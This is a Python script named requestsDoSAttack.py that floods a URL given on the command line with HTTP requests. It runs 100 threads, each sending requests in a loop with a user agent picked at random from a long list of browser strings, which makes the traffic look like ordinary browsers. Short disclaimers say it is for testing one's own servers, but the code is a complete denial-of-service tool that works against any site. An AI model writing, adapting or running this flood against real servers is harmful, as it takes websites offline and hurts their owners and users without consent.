DoS Attack for testing a lot of requests on your OWN server or on a server which you have permission to test this on. PLEASE be careful and don't use this on a server other than your own, look at the laws of your country to see in which cases this may be legal. I am not resposible on the use of this program. This is only for testing propouses.

requestsDoSAttack.py

#Coded By Tatuck :D

from urllib import request
import threading
import sys
import urllib
import random

threadsQuantity = 100

def getHelp():
    print("""
Coded By Tatuck :D

Hello, to use this program use a parameter that is the URL of your website. Like: requestsDoSAttack.py https://my-website.abc

DISCLAMER: I am not responsible for the use of this program, use it only when you have permission from the server owner.
This program is made only for testing propouses.
""")
    sys.exit()

userAgents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:77.0) Gecko/20100101 Firefox/77.0",
    "Mozilla/5.0 (X11; Linux ppc64le; rv:75.0) Gecko/20100101 Firefox/75.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/75.0",
    "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.10; rv:75.0) Gecko/20100101 Firefox/75.0",
    "Mozilla/5.0 (X11; Linux; rv:74.0) Gecko/20100101 Firefox/74.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/73.0",
    "Mozilla/5.0 (X11; OpenBSD i386; rv:72.0) Gecko/20100101 Firefox/72.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:71.0) Gecko/20100101 Firefox/71.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:70.0) Gecko/20191022 Firefox/70.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:70.0) Gecko/20190101 Firefox/70.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
    "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0;  rv:11.0) like Gecko",
    "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
    "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
    "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
    "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3",
    "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1",
    "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1",
    "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
    "Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
    "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
    "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
    "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
    "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577",
    "Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6"
]

stop = False
maxAttemps = 5
def makeRequests(url):
    global stop
    attemps = 0
    userAgent = random.choice(userAgents)
    while True:
        if stop == True:
            break
        r = request.Request(url)
        r.add_header("User-agent",userAgent)
        try:
            request.urlopen(r)
        except urllib.error.HTTPError:
            pass
        except Exception as e:
            print(f'ERROR: {e}')
            attemps = attemps + 1
            if attemps >= maxAttemps:
                stop = True
                break

argv = sys.argv[1:]
try:
    url = argv[0]
except:
    getHelp()

def main():
    global stop
    threads = []
    for x in range(threadsQuantity):
        print(f'Starting thread {x+1}')
        t = threading.Thread(target=makeRequests, args=(url,))
        t.start()
        threads.append(t)
    try:
        while True:
            if stop == True:
                break
            pass
    except:
        stop = True

print("Starting...")
try:
    print(f'Testing: "{url}"...')
    request.urlopen(url)
    print(f'"{url}" Working!')
    main()
except urllib.error.HTTPError:
    main()
    pass
except Exception as e:
    print(f"ERROR: Couldn't make the requests! Info: {e}")
    sys.exit(2)